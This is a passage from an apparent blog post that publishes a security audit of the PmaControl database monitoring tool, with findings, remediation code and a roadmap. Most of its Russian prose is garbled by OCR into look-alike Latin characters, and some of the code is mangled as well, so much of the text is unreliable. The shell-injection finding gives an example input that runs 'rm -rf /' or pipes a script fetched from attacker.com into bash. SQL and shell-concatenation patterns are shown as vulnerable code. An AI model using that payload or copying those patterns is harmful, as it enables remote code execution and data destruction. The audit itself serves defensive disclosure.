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PMACONTROL SECURITY

SQL-INJECTION AUDIT HARDENING

SECURITY AUDIT — HARDENING ROADMAP

PmacControl internal audit — findings and remediation

CRITICAL
SQL Injection
Dynamic query building

4 controllers affected

CRITICAL HIGH HIGH
Shell Injection Plaintext Secrets No CSRF Tokens
shell_exec() with user input Passwords in config files Forms without protection

BackupController — RCE risk No encryption at rest Cross-site request forgery

MEDIUM
Scattered ACL

Inconsistent permission checks

P1 — IMMEDIATE

Parameterized queries
Remove shell_exec + CSRF + Encrypt

REMEDIATION ROADMAP

P2 — 30 DAYS P3 — 90 DAYS

7-12d 8-12d 11-17d

Isolate SSH/backup workers ACL middleware + Normalize
Rate limiting + FS permissions Security headers + Logging

3a4yeM NpoBOAUTb AayAUT COOCTBEHHOro Koaa

PmaControl ocywecTsnseT MOHUTOPUHI production-nHgpacTpykTyp MariaDB / MySQL. OH nmeet

OOCTYN K MeTpukam, KoHpurypaumam, SSH-ko4aMm, y4ETHbIM aHHbIM MNOAKJIOYEHUSA. DTO

npmnopmnTeTHaa uesib oaa 3JIoyMblllIeHHUKa.

Mbl MPOBENN BHYTPEHHWUI ayanT 6€30MacHOCTM — He paau MAapKeTUHIroBoro oT4éTa, a Ans

BbISIBJIEHUSA peasibHbIX YA3BUMOCTEN M MPUOPUTU3ALIUN UX UCMNIPABeHns. B 3Toin cTaTbe

pe3ysbTaTbkl NpeacTaBneHbl 6e3 npukpac.

MeToponorus

AyOouT OXBaTwW:

e CTaTuyeckum aHanums Koga: pyHHOI7I aHaJIn3 KOHTPOJIJIEPOB, MoZenem u I'IpeLI,CTaBJ'IEHI/IVI

PHP

e IMHAMUUYECKMWA aHaJNIU3: TECTNPOBAHNE UHBEKLUI Ha hopMax 1 API-aHANOMHTaXxX



e KoHdurypauusa: gainsibl KOHpuUrypaumm, npasa garnioBon CUCTEMbI, CEKPETHI

° ApqueKTypa: NMOBEPXHOCTb aTakKu, N3ondaunma KOMMNOHEHTOB, MOTOKW OaHHbIX

ObOHapy>xeHue 1: SQL-uHbeKuusa Yyepes guHaMmyeckoe

nocrpoeHue 3anpocos

Cepbé3HocTtb: KPUTUYECKAA

Heckonbko KOHTPO1EPOB CTPOAT SQL-3anpockl MyTEM NPAMON KOHKaTeHauuu

NMoJIb30BaTEJIbCKNX MapaMeTpPOB.

// MaTtTepH, oOHapyXeHHbIn B HECKONbKUX KOHTpOsiepax
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $ GET['search'] . "%'";
$results = $db->query($sql);

ITOT NaTTEpPH YyA3BUM AN5 Kinaccmyeckon SQL-nHbekumn. 3710yMbILLIJIEHHUK MOXXET U3BJeYb
OaHHble, U3MEHUTb 3anNnucu Uaun, B XygLem ciyyae, BbINOJHUTb CUCTEMHbIE KOMaHbl Yepe3 INTO

OUTFILE wawn LOAD FILE() .

BbisiBZIeHHble 3K3eMNAapbl

KoHTponnep DHAMNOUHT YA3BUMbIA NapaMeTp

ServerController /servers/search search

TagController [tags/filter name

LogController /logs/view server_id, date_range

MetricController /metrics/query metric_name
YcTpaHeHue

MNepenTn Ha NnapaMeTpu3oBaHHbIe 3anpockl (prepared statements):

// Do (ys3BUMO)
$sql = "SELECT * FROM servers WHERE name LIKE '%" . $search . "%'";

// MNocne (6e3omacHo)
$sql = "SELECT * FROM servers WHERE name LIKE ?";
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$results = $db->query($sql, ['%' . $search . '%']);

®penmBopk Glial HaTuBHO Noaaep>xuBaeT prepared statements. MNpobnema He TexHnYeckas, a

ncrTopmyeckad: Kopn OblN1 HANWCaH 00 CUCTEMATUYECKOr O npnMeHeHnA 3TON MPaKTUKN.

OOHapy>XeHue 2: UHbeKLUUA KOMaHa 0060/104KM B KOHTpoOJINlepe

Backup

Cepbé3HocTtb: KPUTUYECKAA

KoHTposi/iIep pe3epBHOro KONMPoBaHUs nepenaéT rnosib30BaTesIbCKUIA BBO HANpsaMYO B

shell exec() :

// NatTepH, obHapyxeHHbn B BackupController

$output = shell exec("mysqldump -h " . $host . " -u " . $user . " " . $database);

Ecnn $host cogepXuT ; rm -rf / unm $(curl attacker.com/shell.sh | bash) , KOmaHOa byneT

BblNoJIHEHa C npusunernammn PHP-npouecca.

3To caMad Cepbé3Haﬂ YSA3BMMOCTb, BbISIBJIEHHAs B X04e ayauTa. 3/I0YMbILWIEHHUK C AOCTYMNOM K

hopme pe3epBHOro KOMMpPoBaHUA MOXKET NoayyinTb nonHbin shell Ha cepeepe PmaControl.

YcTpaHeHue
1. YopanuTtb BCe BbI30BblI shell exec() € NoOJib30BaTeJ/IbCKUMM nNapameTpamMmm — 6e3
NCKIOYEHUN

2. Nicnonb3oBaTh escapeshellarg() Kak BpeMeHHYIO Mepy, eC/in HeMeJieHHoe yhasieHue

HEBO3MO>XXHO

3. B nepcnekTuBe 3aMeHUTb Bbi30Bbl Shell Ha HaTuBHbIe PHP-6ubnuoteku (PDO ans

mysqgldump, phpseclib gna SSH)

// BpeMeHHas Mepa (HemocTaTo4yHa cama no cebe)

$output = shell exec("mysqldump -h " . escapeshellarg($host) . " ...");
// OKoH4yaTenbHoe peweHue: 6e3 shell BoBce

$pdo = new PDO("mysql:host=$host;dbname=$database", $user, $pass);
// ... pe3epBHoe konupoBaHue 4yepe3 PDO u SELECT INTO OUTFILE wnu >KBUBanNeHT
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ObOHapy>xeHue 3: naposnu B OTKPbITOM Buge B pannax

KOHdUrypaumm

Cepbé3HocTb: BBICOKAS

Y4yéTHble faHHble NOAKIYEeHUSA K HabntogaeMbiM 6a3aM OaHHbIX XPaHATCA B OTKPbITOM Bae B

hannax koHpurypauuu PHP:

// config/database.php
$config['servers'] = [
'prod-master' => [
'host' => '10.0.1.10',
'user' => 'pmacontrol’,

'password' => 'P@sswOrdl123!', // B OTKpbITOM BuAe
1;

3Tn hainbl 4OCTYMHbI JIIO60MY MOJIb30BaTESIO C MPaBaMu Ha YTeHne aiaoBo cuctemsl. OHK

TaK>Xe NMOTEHLNASIbHO MOTyT ObiTb 3aKOMMMYEHbI B Git.

YcTpaHeHue
1. UJMd)pOBaTb ceKkpeTbl B COCTOAHMMU NOKOA C NOMOLLbIO KJ1HOYa, NoJsly4yeHHOro m3
nepemMeHHoOn OKpYy>XeHus

2. Ncnonb3oBaTb MeHep>kep cekpeToB (HashiCorp Vault, AWS Secrets Manager) ons
06na4HbIX pa3BEPThIBAHWUN
3. Kak MUHUMYM, XpaHUTb Maposin B NepPEeMEeHHbIX OKPY>XXEeHMA, a He B (hannax
// Tocne ycTpaHeHus
$config['servers'] = [
'prod-master' => [
'host' => '10.0.1.10',

'user' => 'pmacontrol’,

'password' => getenv('PMAC_PROD MASTER PASS'),

1;

ObHapy>xeHue 4: otcyTcTBMe 3awmTbl oT CSRF
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Cepbé3HocTb: BICOKAS

®opmbl PmaControl He conep>xat CSRF-TokeHoB (Cross-Site Request Forgery). 3/10yMbILLUIEHHUK
MOXXET CO3[aTb BPeOOoHOCHY Beb-cTpaHuLy, KoTopas oTnpasuT opmy PmaControl oT nmeHun

aBTOPM30BAHHOIO NoJsib30BaTeNS.
CueHapuin aTaku:

1. AopmuHucTpaTop PmaControl aBTopn3oBaH B 04HOW BKJIafKe
2. OH nocewaeT BpeAOHOCHYO BeH-CTpaHULy B ApYyro BKaakKe
3. CTpaHuua COAEPXXUT HEBUANMYIO (hOPMY, KOTOpasi OTNpaBasieT POST /servers/delete/42

4. bpay3ep otnpasnseT cookie ceccum PmaControl — cepsep yaoanéH

YcTpaHeHue

PeanusoBaTb CSRF-TOKeHbl Ha Bcex POST-thopmax:

// TeHepauus ToKeHa
$ SESSION['csrf token'] = bin2hex(random bytes(32));

// B dopme

<input type="hidden" name="csrf token" value="<?= $ SESSION['csrf token'] ?>">

// Banupauua Ha CTOpoOHe cepBepa

if ($ _POST['csrf token'] !== $ SESSION['csrf token']) {
http_response code(403);
die('CSRF token mismatch');

ObOHapy>XxeHue 5: pa3po3HEeHHbIA KOHTPOJIb AocTyna

Cepbé3HocTb: CPEOHASA

MpoBepku ACL (Access Control List) He ueHTpannsoBaHbl. Ka)Kabli KOHTPOJIIEP peasinsyeTt

cobcTBEHHbIE MPOBEPKM NpaB A0CTYyMa HenocnenoBaTesibHbIM 06pa3omMm:
// KoHTponnep A: npoBepseT npasa

if (!$user->hasPermission('server.delete')) {

redirect('/unauthorized');
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// KoHTponnep B: Huyero He nposepseTt
public function deleteServer($id) {

$this->ServerModel->delete($id); // Het npoBepku ACL

YcTpaHeHue

LeHTpanu3oBaTtb ACL B middleware, BbinosiHAeMOM nepepn KaXkablM AeACTBMEM KOHTpOJiepa:

// UeHTpanu3oBaHHbi middleware
class AclMiddleware {
public function before($controller, $action) {
$permission = $controller . '.' . $action;
if (!$this->user->hasPermission($permission)) {

throw new ForbiddenException();

[Nopo>XXHas KapTa YCTPpaHeHuUs YA3BUMOCTEeNn

MpuoputeTr 1 — Kputnueckun (HeMmensneHHo)

Heucrteue OueHKa Tpyao3aTpaTr
MapamMeTpur3oBaHHbIE 3aMpPOChl BO BCEX KOHTpOJI1IEpax 3-5 gHen

YpnaneHue shell_exec ¢ nosib3oBaTeIbCKUM BBOLOM 1-2 gHsa

CSRF-TOKeHbl Ha Bcex hopmax 2-3 oHA

LLncdpoBaHMe ceKpeToB B KOHPUrypaLmnm 1-2 gHA

MpuoputeT 2 — Bbicokuu (B TeyeHue 30 aHen)

OueHka
Idencreume

Tpyao3aTpaT
M3onaumna SSH/backup BopkepoB B 0TAE/IbHOM MpoLecce 5-8 nHen

PmaControl - http://www.pmacontrol.com/ru/site/blog_post/audit-securite-pmacontrol/

CraTtyc

B paboTe

B paboTte

3ansaHnpoBaHoO

3annaHnpoBaHoO

CraTtyc

3anJlaHMpPOBaHO


http://www.pmacontrol.com/ru/site/blog_post/audit-securite-pmacontrol/

Oencreue OueHkaTpypo3atpat CraTtyc
AyauT npas ansioBON CUCTEMbI 1 peHb 3ansiaHnpoBaHoO

OrpaHu4eHune 4acToTbl 3anpocos ansa APl n

2-3 OHA 3anaaHnpoBaHoO
ayTeHTudpukauum

MpuoputeTr 3 — CpepHun (B TeueHue 90 aHen)

Dencreue OueHka Tpyao3aTpar CraTtyc

LlenTpanmsauna ACL B middleware 3-5 gHen 3annaHnpoBaHo
Hopmanusauunsa naTTepHOB KOHTPOJIJIEPOB 5-8 gHen 3anJslaHMpPoBaHoO
3aronoBku 6esonacHocTun (CSP, HSTS, X-Frame-Options) 1 neHb 3anaaHnpoBaHoO
LleHTpanmsoBaHHOE XXypHaJnpoBaHne 6e30macHoOCTu 2-3 gHsA 3annaHnpoBaHoO

YTO He OXBa4YeHO 3TUM ayaAuToM

e YS3BMMOCTU B CTOPOHHMX 3aBUcMMoCTAX (jQuery, Bootstrap) — 3annaHnpoBaH OTAEbHbIN
ayanTt
e CeTeBble ysa3sumocTu (firewall, TLS) — 30Ha OTBETCTBEHHOCTU MHPPACTPYKTYPbI

o CoumanbHas NHXeEHepUs N PULLMHI — 33 NpefenaMmmn TEXHNYECKOro scope

3akKJiloyeHue

NHCTpYyMEHT MOHUTOPUHIa, MMEKLLMA AOCTYN K YY4ETHbLIM AaHHbIM production-cuctem, asnsaeTcs
KpuTtuydeckon uenbto. PmaControl, Kak 1 MHOrme open-source-npoeKTbl, BbIPOCLUME OPraHNYeckH,

HECET UCTOPUYECKNI TEXHUYECKUIA Joar no 6e3onacHoOCTK.

MpPO3PavyHOCTb B OTHOLUEHUN 3TUX YS3BMMOCTEN — OCO3HAaHHbIN BbIOOP. Mbl NpeanoynTaem
ny6JINYHO NOKYMEHTMPOBATb YSA3BUMOCTU 1 AOPOXKHYIO KAapTy UX YCTPAHEHMS, a He AeslaTb BUL,

4yTOo Ko HBe3sonaceH.

NcnpaBneHus P1 HaxonaTcs B paboTe. P2 n P3 cnenytoT peaanctuiyHoMy rpadumky. Ka)kabiin

penn3 PmaControl cokpallaeT NMoBEpXHOCTb aTaKMu.
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